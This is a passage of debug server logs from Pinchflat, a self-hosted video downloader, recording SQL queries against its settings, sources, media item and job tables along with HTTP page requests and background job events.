shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:40.610 [info] Sent 200 in 9ms 17:52:47.015 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.088 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:17.017 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:41.806 [info] GET / 17:53:41.806 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:53:41.807 [debug] QUERY OK source="settings" db=0.1ms idle=1523.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.807 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1524.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:53:41.808 [debug] QUERY OK source="sources" db=0.1ms idle=1524.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:53:41.808 [debug] QUERY OK source="media_items" db=0.3ms idle=1233.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:53:41.808 [debug] QUERY OK source="media_items" db=0.3ms idle=232.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:53:41.809 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.809 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.810 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.810 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:53:41.811 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:53:41.811 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:53:41.812 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:53:41.814 [debug] QUERY OK source="media_items" db=1.4ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:53:41.815 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:53:41.816 [info] Sent 200 in 9ms 17:53:42.148 [info] GET /sources 17:53:42.149 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 17:53:42.150 [info] GET /media_profiles 17:53:42.150 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 17:53:42.154 [debug] QUERY OK source="settings" db=0.5ms idle=342.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.155 [info] GET /app_info 17:53:42.155 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 17:53:42.155 [debug] QUERY OK source="settings" db=0.3ms idle=342.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.155 [debug] QUERY OK source="media_profiles" db=0.7ms idle=343.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 17:53:42.156 [debug] QUERY OK source="settings" db=0.2ms idle=340.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.156 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=340.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.156 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.156 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.157 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.157 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.157 [info] GET /sources/2 17:53:42.157 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:53:42.157 [debug] QUERY OK source="settings" db=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.158 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.158 [debug] QUERY OK source="settings" db=0.3ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.158 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.159 [info] Sent 200 in 4ms 17:53:42.159 [debug] QUERY OK source="sources" db=0.9ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.159 [info] Sent 200 in 8ms 17:53:42.159 [info] GET /sources/2/media/482073 17:53:42.159 [info] GET /settings 17:53:42.160 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 17:53:42.160 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 17:53:42.160 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.160 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.160 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 17:53:42.160 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.161 [debug] QUERY OK source="tasks" db=0.6ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 17:53:42.162 [info] GET /sources/2/media/469491 17:53:42.162 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 17:53:42.162 [debug] QUERY OK source="settings" db=0.9ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.162 [debug] QUERY OK source="sources" db=1.2ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.162 [debug] QUERY OK source="settings" db=0.6ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.163 [debug] QUERY OK source="media_items" db=0.9ms idle=0.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 17:53:42.163 [debug] QUERY OK source="sources" db=2.4ms idle=0.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 17:53:42.163 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=0.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [16832] 17:53:42.163 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.164 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.164 [debug] QUERY OK source="tasks" db=0.7ms queue=0.2ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 17:53:42.164 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.165 [info] Sent 200 in 5ms 17:53:42.165 [debug] QUERY OK source="settings" db=0.2ms queue=0.6ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.166 [debug] QUERY OK source="oban_jobs" db=1.7ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 17:53:42.167 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.167 [debug] QUERY OK source="settings" db=0.6ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.168 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.168 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.169 [debug] QUERY OK source="sources" db=5.0ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE 